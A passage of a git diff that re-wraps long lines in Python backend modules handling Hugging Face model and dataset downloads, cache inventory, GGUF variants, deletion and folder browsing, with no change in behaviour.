return _dataset_status(_download_job_key(repo_id), repo_id = repo_id) -async def get_active_dataset_downloads_response(repo_id: str = "") -> ActiveDownloadsResponse: +async def get_active_dataset_downloads_response( + repo_id: str = "", +) -> ActiveDownloadsResponse: repo_id = repo_id.strip() if repo_id and not _is_valid_repo_id(repo_id): return ActiveDownloadsResponse(downloads = []) canonical_repo_id = ( - await asyncio.to_thread(resolve_cached_repo_id_case, repo_id, repo_type = "dataset") + await asyncio.to_thread( + resolve_cached_repo_id_case, repo_id, repo_type = "dataset" + ) if repo_id else None ) @@ -261,7 +275,9 @@ async def get_dataset_transport_status_response(repo_id: str) -> dict: return {"has_partial": False, "last_transport": None, "resumable": False} return { "has_partial": has_active_incomplete_blobs("dataset", repo_id), - "last_transport": download_registry.read_active_transport_marker("dataset", repo_id), + "last_transport": download_registry.read_active_transport_marker( + "dataset", repo_id + ), "resumable": download_registry.is_resumable_partial("dataset", repo_id), } diff --git a/studio/backend/hub/services/datasets/formatting.py b/studio/backend/hub/services/datasets/formatting.py index 1c78d80e21..d239f2b4b3 100644 --- a/studio/backend/hub/services/datasets/formatting.py +++ b/studio/backend/hub/services/datasets/formatting.py @@ -177,10 +177,14 @@ def _repo_file_matches_split(path: str, split: str) -> bool: def _select_tier1_repo_file( files: list[str], *, subset: Optional[str], train_split: str ) -> Optional[str]: - data_files = sorted(f for f in files if any(f.lower().endswith(ext) for ext in DATA_EXTS)) + data_files = sorted( + f for f in files if any(f.lower().endswith(ext) for ext in DATA_EXTS) + ) if not data_files: return None - tabular_files = [f for f in data_files if any(f.lower().endswith(ext) for ext in _TABULAR_EXTS)] + tabular_files = [ + f for f in data_files if any(f.lower().endswith(ext) for ext in _TABULAR_EXTS) + ] candidates = tabular_files or data_files if subset: candidates = [f for f in candidates if _repo_file_matches_label(f, subset)] @@ -405,7 +409,9 @@ def check_format_response( processed = format_dataset_preview(preview_slice) preview_samples = _serialize_preview_rows(processed) except Exception as e: - logger.warning(f"Processed preview generation failed (non-fatal): {e}") + logger.warning( + f"Processed preview generation failed (non-fatal): {e}" + ) preview_samples = _serialize_preview_rows(preview_slice) else: preview_samples = _serialize_preview_rows(preview_slice) @@ -416,7 +422,9 @@ def check_format_response( if image_col and image_col in (result.get("columns") or []): try: sample_val = preview_slice[0][image_col] - if isinstance(sample_val, str) and sample_val.startswith(("http://", "https://")): + if isinstance(sample_val, str) and sample_val.startswith( + ("http://", "https://") + ): url_warning = ( "This dataset contains image URLs instead of embedded images. " "Images will be downloaded during training, which may be slow for large datasets." @@ -483,7 +491,8 @@ def ai_assist_mapping_response( from hub.utils.llm_assist import llm_conversion_advisor truncated = [ - {col: str(s.get(col, ""))[:200] for col in request.columns} for s in request.samples[:5] + {col: str(s.get(col, ""))[:200] for col in request.columns} + for s in request.samples[:5] ] result = llm_conversion_advisor( diff --git a/studio/backend/hub/services/datasets/local.py b/studio/backend/hub/services/datasets/local.py index 8d48c4f735..56b7731cd9 100644 --- a/studio/backend/hub/services/datasets/local.py +++ b/studio/backend/hub/services/datasets/local.py @@ -223,7 +223,9 @@ def _stream_file_preview_slice(path: Path, preview_size: int): return Dataset.from_list(rows), None -def _load_local_preview_slice(*, dataset_path: Path, train_split: str, preview_size: int): +def _load_local_preview_slice( + *, dataset_path: Path, train_split: str, preview_size: int +): # Non-streaming loads take the cached builder lock; use the EACCES-safe wrapper. from utils.datasets.cache_safe import load_dataset_cache_safe as load_dataset @@ -258,7 +260,9 @@ def _load_local_preview_slice(*, dataset_path: Path, train_split: str, preview_s # Parquet/Arrow give a cheap exact total_rows via len()+select; JSON/CSV # carry no such metadata, so stream them and report total_rows=None. if suffix == ".parquet": - dataset = load_dataset("parquet", data_files = str(dataset_path), split = train_split) + dataset = load_dataset( + "parquet", data_files = str(dataset_path), split = train_split + ) total_rows = len(dataset) preview_slice = dataset.select(range(min(preview_size, total_rows))) return preview_slice, total_rows @@ -272,7 +276,9 @@ def _load_local_preview_slice(*, dataset_path: Path, train_split: str, preview_s ) return preview - raise HTTPException(status_code = 400, detail = f"Unsupported file format: {dataset_path.suffix}") + raise HTTPException( + status_code = 400, detail = f"Unsupported file format: {dataset_path.suffix}" + ) def _sanitize_filename(filename: str) -> str: @@ -285,7 +291,10 @@ def _sanitize_filename(filename: str) -> str: def _upload_too_large(size_bytes: int) -> HTTPException: return HTTPException( status_code = 413, - detail = (f"Upload is too large " f"({size_bytes:,} bytes; max {LOCAL_UPLOAD_MAX_BYTES:,})."), + detail = ( + f"Upload is too large " + f"({size_bytes:,} bytes; max {LOCAL_UPLOAD_MAX_BYTES:,})." + ), ) diff --git a/studio/backend/hub/services/download_lifecycle.py b/studio/backend/hub/services/download_lifecycle.py index 23f8c7c911..8502513f15 100644 --- a/studio/backend/hub/services/download_lifecycle.py +++ b/studio/backend/hub/services/download_lifecycle.py @@ -44,8 +44,12 @@ def resolve_effective_use_xet(use_xet: bool) -> bool: def resolve_transport(use_xet: bool) -> str: - transport = download_registry.TRANSPORT_XET if use_xet else download_registry.TRANSPORT_HTTP - unavailable_reason = download_registry.download_transport_unavailable_reason(transport) + transport = ( + download_registry.TRANSPORT_XET if use_xet else download_registry.TRANSPORT_HTTP + ) + unavailable_reason = download_registry.download_transport_unavailable_reason( + transport + ) if unavailable_reason is not None: raise HTTPException(status_code = 400, detail = unavailable_reason) return transport @@ -67,7 +71,9 @@ def spawn_worker( shared ``.incomplete`` (e.g. bundled mmproj) is never deleted. """ cwd = backend_dir() - mode = download_registry.TRANSPORT_XET if use_xet else download_registry.TRANSPORT_HTTP + mode = ( + download_registry.TRANSPORT_XET if use_xet else download_registry.TRANSPORT_HTTP + ) env = os.environ.copy() if protected_blob_hashes: env["UNSLOTH_PROTECTED_BLOB_HASHES"] = ",".join(sorted(protected_blob_hashes)) @@ -95,7 +101,9 @@ def spawn_worker( if hf_token: env["HF_TOKEN"] = hf_token existing_path = env.get("PYTHONPATH", "") - env["PYTHONPATH"] = f"{cwd}{os.pathsep}{existing_path}" if existing_path else str(cwd) + env["PYTHONPATH"] = ( + f"{cwd}{os.pathsep}{existing_path}" if existing_path else str(cwd) + ) return subprocess.Popen( [ sys.executable, @@ -242,7 +250,9 @@ def finalize_worker_exit( f"{label}: {stderr_text}" ) else: - logger.info(f"{log_prefix} worker diagnostics for {label}: {stderr_text}") + logger.info( + f"{log_prefix} worker diagnostics for {label}: {stderr_text}" + ) logger.info(f"{log_prefix} complete: {label}") # Defensive cleanup: the canonical clear is at download-start; this # catches the rare case where that failed but the download succeeded. @@ -299,7 +309,9 @@ def _set_retry_failure_state( download_registry.persist_cancel_marker( repo_type, repo_id, - metadata.variant if metadata is not None and metadata.variant else fallback_variant, + metadata.variant + if metadata is not None and metadata.variant + else fallback_variant, metadata.transport if metadata is not None and metadata.transport else fallback_transport, @@ -333,7 +345,9 @@ def _try_http_retry( """ original_metadata = registry.get_job_metadata(key) if original_metadata is None: - logger.debug("%s XET retry skipped for %s; metadata unavailable", log_prefix, label) + logger.debug( + "%s XET retry skipped for %s; metadata unavailable", log_prefix, label + ) _set_retry_failure_state( registry, key, @@ -580,11 +594,15 @@ def register_worker( try: kill_and_reap_process(proc, label = label, logger = logger) except Exception: - logger.exception("failed to reap worker after watcher crash for %s", key) + logger.exception( + "failed to reap worker after watcher crash for %s", key + ) try: registry.drop_process(key, proc) except Exception: - logger.exception("failed to drop worker after watcher crash for %s", key) + logger.exception( + "failed to drop worker after watcher crash for %s", key + ) try: registry.set_job(key, "error", "download watcher crashed") except Exception: @@ -718,13 +736,18 @@ def idle_status( def active_download_refs( - registry: download_registry.DownloadRegistry, repo_id: Optional[str], *, with_variant: bool + registry: download_registry.DownloadRegistry, + repo_id: Optional[str], + *, + with_variant: bool, ) -> list[ActiveDownload]: downloads: list[ActiveDownload] = [] for ref in registry.active_job_refs(repo_id): metadata = ref.metadata if with_variant: - ref_repo_id = metadata.repo_id if metadata is not None else ref.key.split("::", 1)[0] + ref_repo_id = ( + metadata.repo_id if metadata is not None else ref.key.split("::", 1)[0] + ) if metadata is not None: variant = metadata.variant else: diff --git a/studio/backend/hub/services/models/cache_inventory.py b/studio/backend/hub/services/models/cache_inventory.py index 54a25482f2..3a94b2be61 100644 --- a/studio/backend/hub/services/models/cache_inventory.py +++ b/studio/backend/hub/services/models/cache_inventory.py @@ -46,9 +46,7 @@ from utils.hidden_models import is_hidden_model logger = get_logger(__name__) -_repo_size_cache: "OrderedDict[tuple[str, str, str], tuple[int, frozenset[str], float]]" = ( - OrderedDict() -) +_repo_size_cache: "OrderedDict[tuple[str, str, str], tuple[int, frozenset[str], float]]" = OrderedDict() _repo_size_neg_cache: "OrderedDict[tuple[str, str, str], float]" = OrderedDict() _REPO_SIZE_CACHE_MAX = 256 _REPO_SIZE_POS_TTL = 60.0 @@ -138,7 +136,9 @@ def _cached_repo_file_name(file_obj) -> str: try: path = Path(file_path) parts = path.parts - snapshots_idx = max(i for i, part in enumerate(parts) if part == "snapshots") + snapshots_idx = max( + i for i, part in enumerate(parts) if part == "snapshots" + ) if len(parts) > snapshots_idx + 2: return Path(*parts[snapshots_idx + 2 :]).as_posix() except Exception: @@ -155,7 +155,9 @@ def _is_real_cache_blob(blob: Optional[Path], repo_dir: Optional[Path]) -> bool: if blob is None or repo_dir is None: return False try: - return blob.parent.resolve(strict = False) == (repo_dir / "blobs").resolve(strict = False) + return blob.parent.resolve(strict = False) == (repo_dir / "blobs").resolve( + strict = False + ) except OSError: return False @@ -180,7 +182,9 @@ def local_size_identity(size: int) -> str: return f"{_LOCAL_SIZE_IDENTITY_PREFIX}{int(size)}" -def _repo_gguf_blob_map(repo_info, *, include_companions: bool = False) -> dict[str, set[str]]: +def _repo_gguf_blob_map( + repo_info, *, include_companions: bool = False +) -> dict[str, set[str]]: """Map each cached GGUF file's repo-relative name to the SET of its local identities across all revisions. @@ -271,7 +275,9 @@ def _scan_cached_gguf() -> list[dict]: repo_path = Path(repo_info.repo_path) snapshot_path = _cached_model_snapshot_path(repo_path) total_size = _repo_gguf_size_bytes(repo_info) - has_variant_state, variant_state_size = _gguf_variant_state_summary(repo_id) + has_variant_state, variant_state_size = _gguf_variant_state_summary( + repo_id + ) is_hidden_infra = _is_hidden_infra_repo( repo_id, str(repo_path), @@ -354,7 +360,9 @@ def _repo_non_gguf_model_payload(repo_info) -> _CachedNonGgufPayload: has_transformers_safetensors = False has_checkpoint = False - def _record_blob(target: dict[str, int], file_obj, rev_id: str, file_name: str) -> None: + def _record_blob( + target: dict[str, int], file_obj, rev_id: str, file_name: str + ) -> None: blob_path = getattr(file_obj, "blob_path", None) size = int(file_obj.size_on_disk or 0) key = str(blob_path) if blob_path else f"{rev_id}:{file_name}" @@ -482,7 +490,9 @@ def _cached_model_local_metadata(repo_path: Path) -> dict: result["library_name"] = library_name.strip() tags = card.get("tags") if isinstance(tags, list): - clean_tags = [tag.strip() for tag in tags if isinstance(tag, str) and tag.strip()] + clean_tags = [ + tag.strip() for tag in tags if isinstance(tag, str) and tag.strip() + ] if clean_tags: result["tags"] = clean_tags return result diff --git a/studio/backend/hub/services/models/common.py b/studio/backend/hub/services/models/common.py index f381bffe9c..fe33fd00ee 100644 --- a/studio/backend/hub/services/models/common.py +++ b/studio/backend/hub/services/models/common.py @@ -84,7 +84,9 @@ def _is_model_directory(d: Path) -> bool: return False try: - has_config = (d / "config.json").exists() or (d / "adapter_config.json").exists() + has_config = (d / "config.json").exists() or ( + d / "adapter_config.json" + ).exists() if not has_config: return False return any(_is_weight_file(f) for f in d.iterdir() if f.is_file()) @@ -193,7 +195,9 @@ def _apply_format_aware_partial( continue # GGUF row-level transport is ambiguous (variants may differ); per-variant # detail lives on GgufVariantDetail.partial_transport via the variants endpoint. - partial_transport = None if row.model_format == "gguf" else snapshot_partial_transport + partial_transport = ( + None if row.model_format == "gguf" else snapshot_partial_transport + ) rewritten.append( row.model_copy( update = { @@ -217,7 +221,9 @@ def _weight_basename(name: str) -> str: def _is_adapter_weight_name(name: str) -> bool: lower = _weight_basename(name) - return lower.startswith("adapter_model") and lower.endswith((".safetensors", ".bin")) + return lower.startswith("adapter_model") and lower.endswith( + (".safetensors", ".bin") + ) def _is_transformers_safetensors_weight_name(name: str) -> bool: @@ -267,7 +273,9 @@ def _classify_non_gguf_model_format( has_checkpoint_weights: bool, trusted_hf_cache_repo: bool = False, ) -> Optional[ModelFormat]: - if has_safetensors and (has_config or (trusted_hf_cache_repo and has_transformers_safetensors)): + if has_safetensors and ( + has_config or (trusted_hf_cache_repo and has_transformers_safetensors) + ): return "safetensors" if has_adapter_config and has_adapter_weights: return "adapter" @@ -278,7 +286,9 @@ def _classify_non_gguf_model_format( def _is_main_gguf_filename(name: str) -> bool: return ( - _is_gguf_filename(name) and not _is_mmproj_filename(name) and not _is_mtp_drafter_path(name) + _is_gguf_filename(name) + and not _is_mmproj_filename(name) + and not _is_mtp_drafter_path(name) ) @@ -445,7 +455,8 @@ def _local_model_info( ), load_id = load_id, model_id = model_id, - display_name = display_name or (scan_path.stem if scan_path.is_file() else scan_path.name), + display_name = display_name + or (scan_path.stem if scan_path.is_file() else scan_path.name), path = str(load_path), size_bytes = max(0, int(size_bytes or 0)), source = source, @@ -520,12 +531,17 @@ def _classify_local_path( (scan_path / "adapter_config.json").is_file() if scan_path.is_dir() else False ) adapter_config = _read_adapter_config(scan_path) if has_adapter_config else {} - adapter_base_model = _clean_optional_string(adapter_config.get("base_model_name_or_path")) + adapter_base_model = _clean_optional_string( + adapter_config.get("base_model_name_or_path") + ) adapter_type = _clean_optional_string(adapter_config.get("peft_type")) - training_method = _clean_optional_string(adapter_config.get("unsloth_training_method")) + training_method = _clean_optional_string( + adapter_config.get("unsloth_training_method") + ) has_adapter_weights = any(_is_adapter_weight_file(f) for f in files) has_safetensors = any( - f.suffix.lower() == ".safetensors" and not _is_adapter_weight_file(f) for f in files + f.suffix.lower() == ".safetensors" and not _is_adapter_weight_file(f) + for f in files ) has_transformers_safetensors = any( _is_transformers_safetensors_weight_file(f) and not _is_adapter_weight_file(f) @@ -554,7 +570,9 @@ def _classify_local_path( if f.suffix.lower() == ".safetensors" and not _is_adapter_weight_file(f) ) else: - size_bytes = _sum_file_sizes(f for f in files if _is_checkpoint_weight_file(f)) + size_bytes = _sum_file_sizes( + f for f in files if _is_checkpoint_weight_file(f) + ) rows.append( _local_model_info( scan_path = scan_path, diff --git a/studio/backend/hub/services/models/deletion.py b/studio/backend/hub/services/models/deletion.py index 636a223d4e..cebe8f5b1b 100644 --- a/studio/backend/hub/services/models/deletion.py +++ b/studio/backend/hub/services/models/deletion.py @@ -76,7 +76,9 @@ def _path_exists_or_symlink(path: Path) -> bool: return False -def _repo_file_matches(target_repo, predicate) -> list[tuple[Path, Optional[Path], str]]: +def _repo_file_matches( + target_repo, predicate +) -> list[tuple[Path, Optional[Path], str]]: matches: list[tuple[Path, Optional[Path], str]] = [] for rev in getattr(target_repo, "revisions", ()): for f in getattr(rev, "files", ()): @@ -107,7 +109,9 @@ def _has_remaining_main_gguf(target_repo) -> bool: ) -def _remove_empty_variant_dirs(target_repos: list, variant: str) -> tuple[int, list[str]]: +def _remove_empty_variant_dirs( + target_repos: list, variant: str +) -> tuple[int, list[str]]: """Remove now-empty ``snapshots///`` folders for *variant* (the quant label names the folder); only empty dirs go, so siblings are safe. Returns (count removed, removal failures other than a concurrent refill).""" @@ -122,7 +126,9 @@ def _remove_empty_variant_dirs(target_repos: list, variant: str) -> tuple[int, l if not snapshots.is_dir(): continue try: - snap_dirs = [s for s in snapshots.iterdir() if s.is_dir() and not s.is_symlink()] + snap_dirs = [ + s for s in snapshots.iterdir() if s.is_dir() and not s.is_symlink() + ] except OSError: continue for snap in snap_dirs: @@ -164,7 +170,9 @@ def _remove_empty_snapshot_dirs(target_repos: list) -> tuple[int, list[str]]: if not snapshots.is_dir(): continue try: - snap_dirs = [s for s in snapshots.iterdir() if s.is_dir() and not s.is_symlink()] + snap_dirs = [ + s for s in snapshots.iterdir() if s.is_dir() and not s.is_symlink() + ] except OSError: continue for snap in snap_dirs: @@ -192,7 +200,11 @@ def _delete_gguf_variant_from_repos( completed_hashes: set[str] = set() for target_repo in target_repos: - repo_dir = Path(target_repo.repo_path) if getattr(target_repo, "repo_path", None) else None + repo_dir = ( + Path(target_repo.repo_path) + if getattr(target_repo, "repo_path", None) + else None + ) matched = _repo_file_matches( target_repo, lambda name: _is_main_gguf_filename(name) @@ -400,7 +412,11 @@ def reclaim_replaced_gguf_variant( ] for target_repo in target_repos: - repo_dir = Path(target_repo.repo_path) if getattr(target_repo, "repo_path", None) else None + repo_dir = ( + Path(target_repo.repo_path) + if getattr(target_repo, "repo_path", None) + else None + ) stale_matches: list[tuple[Path, Optional[Path], str]] = [] matches = _repo_file_matches( target_repo, @@ -500,7 +516,10 @@ def _loaded_id_matches_repo(loaded_id: str, repo_id: str) -> bool: def _loaded_repo_variant_blocks_delete( - loaded_id: str, repo_id: str, delete_variant: Optional[str], loaded_variant: Optional[str] + loaded_id: str, + repo_id: str, + delete_variant: Optional[str], + loaded_variant: Optional[str], ) -> bool: if not _loaded_id_matches_repo(loaded_id, repo_id): return False @@ -523,7 +542,9 @@ def _llama_cpp_blocks_delete(repo_id: str, variant: Optional[str]) -> bool: from routes.inference import get_llama_cpp_backend backend = get_llama_cpp_backend() except Exception as e: - logger.debug(f"llama.cpp backend unavailable during delete guard for {repo_id}: {e}") + logger.debug( + f"llama.cpp backend unavailable during delete guard for {repo_id}: {e}" + ) return False loaded_id = backend.model_identifier loaded_variant = getattr(backend, "hf_variant", None) @@ -550,7 +571,9 @@ def _inference_backend_blocks_delete(repo_id: str) -> bool: from core.inference import get_inference_backend backend = get_inference_backend() except Exception as e: - logger.debug(f"Inference backend unavailable during delete guard for {repo_id}: {e}") + logger.debug( + f"Inference backend unavailable during delete guard for {repo_id}: {e}" + ) return False active_name = backend.active_model_name return bool(active_name) and _loaded_id_matches_repo(active_name, repo_id) @@ -583,7 +606,9 @@ async def delete_cached_model_response( _inference_backend_blocks_delete(repo_id) ) except Exception as e: - logger.warning(f"Load-state verification failed for {repo_id}; refusing delete: {e}") + logger.warning( + f"Load-state verification failed for {repo_id}; refusing delete: {e}" + ) raise HTTPException( status_code = 503, detail = _LOAD_STATE_UNVERIFIABLE_DETAIL, @@ -594,7 +619,9 @@ async def delete_cached_model_response( detail = "Unload the model before deleting", ) - repo_key = await asyncio.to_thread(resolve_cached_repo_id_case, repo_id, repo_type = "model") + repo_key = await asyncio.to_thread( + resolve_cached_repo_id_case, repo_id, repo_type = "model" + ) if not downloads.registry.begin_delete(repo_key, variant): detail = ( f"Cancel the {variant} download before deleting it." @@ -603,7 +630,9 @@ async def delete_cached_model_response( ) raise HTTPException(status_code = 400, detail = detail) try: - return await asyncio.to_thread(_delete_cached_model_blocking, repo_id, variant, hf_token) + return await asyncio.to_thread( + _delete_cached_model_blocking, repo_id, variant, hf_token + ) finally: downloads.registry.end_delete(repo_key, variant) cache_inventory.invalidate_hf_cache_scans() @@ -642,18 +671,22 @@ def _delete_cached_model_blocking( if not target_entries: if variant is None: - cache_purged = purge_repo_cache_dirs("model", repo_id) or purge_partial_repo( + cache_purged = purge_repo_cache_dirs( "model", repo_id + ) or purge_partial_repo("model", repo_id) + state_purged = ( + download_manifest.purge_all_state_for_repo("model", repo_id) > 0 ) - state_purged = download_manifest.purge_all_state_for_repo("model", repo_id) > 0 if cache_purged or state_purged: return {"status": "deleted", "repo_id": repo_id} if variant: - incomplete_result = gguf_variants.delete_variant_incomplete_blobs_result( - repo_id, - variant, - hf_token, - companions = not sibling_active, + incomplete_result = ( + gguf_variants.delete_variant_incomplete_blobs_result( + repo_id, + variant, + hf_token, + companions = not sibling_active, + ) ) if incomplete_result.unresolved: raise HTTPException( @@ -689,7 +722,9 @@ def _delete_cached_model_blocking( deleted_revisions = False for hf_cache, repo_info in target_entries: revision_hashes = [ - rev.commit_hash for rev in repo_info.revisions if getattr(rev, "commit_hash", None) + rev.commit_hash + for rev in repo_info.revisions + if getattr(rev, "commit_hash", None) ] if not revision_hashes: continue diff --git a/studio/backend/hub/services/models/downloads.py b/studio/backend/hub/services/models/downloads.py index 862af0141a..ac072ffc71 100644 --- a/studio/backend/hub/services/models/downloads.py +++ b/studio/backend/hub/services/models/downloads.py @@ -102,7 +102,9 @@ def _spawn_download_worker( ) -async def download_model_response(body: DownloadModelRequest, hf_token: Optional[str] = None): +async def download_model_response( + body: DownloadModelRequest, hf_token: Optional[str] = None +): """Start a background download for a HuggingFace model.""" repo_id = body.repo_id.strip() if not _is_valid_repo_id(repo_id): @@ -111,7 +113,9 @@ async def download_model_response(body: DownloadModelRequest, hf_token: Optional detail = f"Invalid repo_id: {repo_id!r}", ) # Canonicalize so two different-cased paste-ins share one job + cache dir. - repo_id = await asyncio.to_thread(resolve_cached_repo_id_case, repo_id, repo_type = "model") + repo_id = await asyncio.to_thread( + resolve_cached_repo_id_case, repo_id, repo_type = "model" + ) # Avoid concurrent writers to the same HF cache files. _reject_if_load_in_flight(repo_id) @@ -231,7 +235,9 @@ async def cancel_download_model_response(body: CancelDownloadRequest): status_code = 400, detail = f"Invalid repo_id: {repo_id!r}", ) - repo_id = await asyncio.to_thread(resolve_cached_repo_id_case, repo_id, repo_type = "model") + repo_id = await asyncio.to_thread( + resolve_cached_repo_id_case, repo_id, repo_type = "model" + ) variant = (body.gguf_variant or "").strip() or None if variant is not None and not _is_valid_gguf_variant(variant): raise HTTPException( @@ -250,12 +256,16 @@ async def cancel_download_model_response(body: CancelDownloadRequest): return {"job_key": key, "state": state} -async def get_download_status_response(repo_id: str, gguf_variant: str = "") -> DownloadJobStatus: +async def get_download_status_response( + repo_id: str, gguf_variant: str = "" +) -> DownloadJobStatus: """Return the latest state of a background download job.""" repo_id = repo_id.strip() if not _is_valid_repo_id(repo_id): return DownloadJobStatus(state = "idle") - repo_id = await asyncio.to_thread(resolve_cached_repo_id_case, repo_id, repo_type = "model") + repo_id = await asyncio.to_thread( + resolve_cached_repo_id_case, repo_id, repo_type = "model" + ) variant = (gguf_variant or "").strip() or None key = _download_job_key(repo_id, variant) return _job_status(key, repo_id = repo_id, variant = variant) @@ -280,7 +290,9 @@ async def get_active_downloads_response(repo_id: str = "") -> ActiveDownloadsRes ) -def _variant_transport_status(repo_id: str, variant: str, hf_token: Optional[str]) -> dict: +def _variant_transport_status( + repo_id: str, variant: str, hf_token: Optional[str] +) -> dict: incomplete_hashes = download_registry.incomplete_blob_hashes( "model", repo_id, @@ -312,13 +324,16 @@ def _variant_transport_status(repo_id: str, variant: str, hf_token: Optional[str variant, ) has_matching_incomplete = bool( - incomplete_hashes and variant_hashes and incomplete_hashes.intersection(variant_hashes) + incomplete_hashes + and variant_hashes + and incomplete_hashes.intersection(variant_hashes) ) return { "has_partial": has_partial, "last_transport": last_transport, "resumable": ( - has_matching_incomplete and last_transport == download_registry.TRANSPORT_HTTP + has_matching_incomplete + and last_transport == download_registry.TRANSPORT_HTTP ), } @@ -346,7 +361,9 @@ async def get_model_transport_status_response( return _variant_transport_status(repo_id, variant, hf_token) return { "has_partial": has_active_incomplete_blobs("model", repo_id), - "last_transport": download_registry.read_active_transport_marker("model", repo_id), + "last_transport": download_registry.read_active_transport_marker( + "model", repo_id + ), "resumable": download_registry.is_resumable_partial("model", repo_id), } @@ -390,7 +407,9 @@ async def get_gguf_download_progress_response( if manifest is not None: return ( sum(max(0, int(file.size or 0)) for file in manifest.expected_files), - frozenset(file.sha256 for file in manifest.expected_files if file.sha256), + frozenset( + file.sha256 for file in manifest.expected_files if file.sha256 + ), ) return ( expected_total, diff --git a/studio/backend/hub/services/models/folder_browser.py b/studio/backend/hub/services/models/folder_browser.py index 7d9c3ac665..bc89691a84 100644 --- a/studio/backend/hub/services/models/folder_browser.py +++ b/studio/backend/hub/services/models/folder_browser.py @@ -305,7 +305,12 @@ def _browse_relative_parts(requested_path: str, root: Path) -> Optional[list[str parts = [part for part in rel_text.split(os.sep) if part not in ("", ".")] altsep = os.altsep for part in parts: - if part == ".." or "\x00" in part or os.sep in part or (altsep and altsep in part): + if ( + part == ".." + or "\x00" in part + or os.sep in part + or (altsep and altsep in part) + ): return None return parts @@ -528,7 +533,9 @@ def browse_folders_response( # Parent is None at the FS root and when it would step outside the sandbox, # so the up-row never 403s on click. parent: Optional[str] - if target.parent == target or not _is_path_inside_allowlist(target.parent, allowed_roots): + if target.parent == target or not _is_path_inside_allowlist( + target.parent, allowed_roots + ): parent = None else: parent = str(target.parent) diff --git a/studio/backend/hub/services/models/gguf_variants.py b/studio/backend/hub/services/models/gguf_variants.py index 33f0297ff5..f6d32debc3 100644 --- a/studio/backend/hub/services/models/gguf_variants.py +++ b/studio/backend/hub/services/models/gguf_variants.py @@ -51,9 +51,7 @@ from hub.utils.gguf_plan import ( logger = get_logger(__name__) -_VARIANT_HASH_CACHE: "OrderedDict[tuple[str, str, str, bool], tuple[frozenset[str], float]]" = ( - OrderedDict() -) +_VARIANT_HASH_CACHE: "OrderedDict[tuple[str, str, str, bool], tuple[frozenset[str], float]]" = OrderedDict() _VARIANT_REQUIREMENT_CACHE: "OrderedDict[tuple[str, str, str], tuple[_GgufVariantRequirement, float]]" = OrderedDict() _VARIANT_REQUIREMENT_NEG_CACHE: "OrderedDict[tuple[str, str], float]" = OrderedDict() _VARIANT_HASH_MAX = 512 @@ -122,7 +120,9 @@ def _variant_requirement_neg_cache_clear(key: tuple[str, str]) -> None: _VARIANT_REQUIREMENT_NEG_CACHE.pop(key, None) -def _variant_hash_cache_get(key: tuple[str, str, str, bool]) -> Optional[frozenset[str]]: +def _variant_hash_cache_get( + key: tuple[str, str, str, bool], +) -> Optional[frozenset[str]]: with _VARIANT_HASH_LOCK: cached = _VARIANT_HASH_CACHE.get(key) if cached is None: @@ -135,7 +135,9 @@ def _variant_hash_cache_get(key: tuple[str, str, str, bool]) -> Optional[frozens return hashes -def _variant_hash_cache_set(key: tuple[str, str, str, bool], hashes: frozenset[str]) -> None: +def _variant_hash_cache_set( + key: tuple[str, str, str, bool], hashes: frozenset[str] +) -> None: with _VARIANT_HASH_LOCK: _VARIANT_HASH_CACHE[key] = (hashes, time.monotonic()) _VARIANT_HASH_CACHE.move_to_end(key) @@ -143,7 +145,9 @@ def _variant_hash_cache_set(key: tuple[str, str, str, bool], hashes: frozenset[s _VARIANT_HASH_CACHE.popitem(last = False) -def _variant_requirement_cache_get(key: tuple[str, str, str]) -> Optional[_GgufVariantRequirement]: +def _variant_requirement_cache_get( + key: tuple[str, str, str], +) -> Optional[_GgufVariantRequirement]: with _VARIANT_HASH_LOCK: cached = _VARIANT_REQUIREMENT_CACHE.get(key) if cached is None: @@ -157,7 +161,9 @@ def _variant_requirement_cache_get(key: tuple[str, str, str]) -> Optional[_GgufV def _variant_requirement_cache_set_many( - repo_id: str, hf_token: Optional[str], requirements: dict[str, _GgufVariantRequirement] + repo_id: str, + hf_token: Optional[str], + requirements: dict[str, _GgufVariantRequirement], ) -> None: with _VARIANT_HASH_LOCK: now = time.monotonic() @@ -169,7 +175,9 @@ def _variant_requirement_cache_set_many( _VARIANT_REQUIREMENT_CACHE.popitem(last = False) -def _build_gguf_variant_requirements(siblings: list) -> dict[str, _GgufVariantRequirement]: +def _build_gguf_variant_requirements( + siblings: list, +) -> dict[str, _GgufVariantRequirement]: return build_gguf_variant_plans(siblings) @@ -280,7 +288,11 @@ def gguf_variant_blob_hashes( if requirement is None and allow_remote: requirement = gguf_variant_requirements(repo_id, variant, hf_token) if requirement is not None: - hashes = requirement.required_hashes if include_companions else requirement.main_hashes + hashes = ( + requirement.required_hashes + if include_companions + else requirement.main_hashes + ) if hashes: _variant_hash_cache_set(key, hashes) return hashes @@ -354,11 +366,15 @@ def _size_identity_matches(local_set: set[str], remote_size: int) -> bool: def _variant_update_available_from_requirement( - local_blobs: dict[str, set[str]], requirement: Optional[_GgufVariantRequirement], variant: str + local_blobs: dict[str, set[str]], + requirement: Optional[_GgufVariantRequirement], + variant: str, ) -> bool: if requirement is None or not local_blobs: return False - local_by_posix = {path.replace("\\", "/"): blobs for path, blobs in local_blobs.items()} + local_by_posix = { + path.replace("\\", "/"): blobs for path, blobs in local_blobs.items() + } for expected in requirement.expected_files: path = str(expected.path).replace("\\", "/") if not ( @@ -392,7 +408,9 @@ def delete_variant_incomplete_blobs_result( # With a sibling still downloading, ``companions=False`` keeps a shared mmproj # from being unlinked out from under it; the repo's last delete reclaims it. target_hashes = ( - gguf_variant_blob_hashes(repo_id, variant, hf_token, include_companions = companions) + gguf_variant_blob_hashes( + repo_id, variant, hf_token, include_companions = companions + ) | extra_hashes ) if not target_hashes: @@ -402,7 +420,9 @@ def delete_variant_incomplete_blobs_result( incomplete_blob_hashes = set(), variant_blob_hashes = frozenset(), ) - has_repo_partials = bool(download_registry.incomplete_blob_hashes("model", repo_id)) + has_repo_partials = bool( + download_registry.incomplete_blob_hashes("model", repo_id) + ) return VariantIncompleteDeleteResult( deleted = 0, unresolved = has_variant_partial_state and has_repo_partials, @@ -447,7 +467,9 @@ def _mark_empty_dir_cleanables( variants[i] = v.model_copy(update = {"partial": True}) for key, label in sorted(empty_by_key.items()): if key not in listed: - variants.append(GgufVariantDetail(filename = f"{label}.gguf", quant = label, partial = True)) + variants.append( + GgufVariantDetail(filename = f"{label}.gguf", quant = label, partial = True) + ) return response.model_copy(update = {"variants": variants}) @@ -558,7 +580,9 @@ async def get_gguf_variants_response( ) try: - variants, has_vision, siblings = list_gguf_variants(repo_id, hf_token = hf_token) + variants, has_vision, siblings = list_gguf_variants( + repo_id, hf_token = hf_token + ) except Exception: cached = list_gguf_variants_from_hf_cache(repo_id) if cached is not None: @@ -694,17 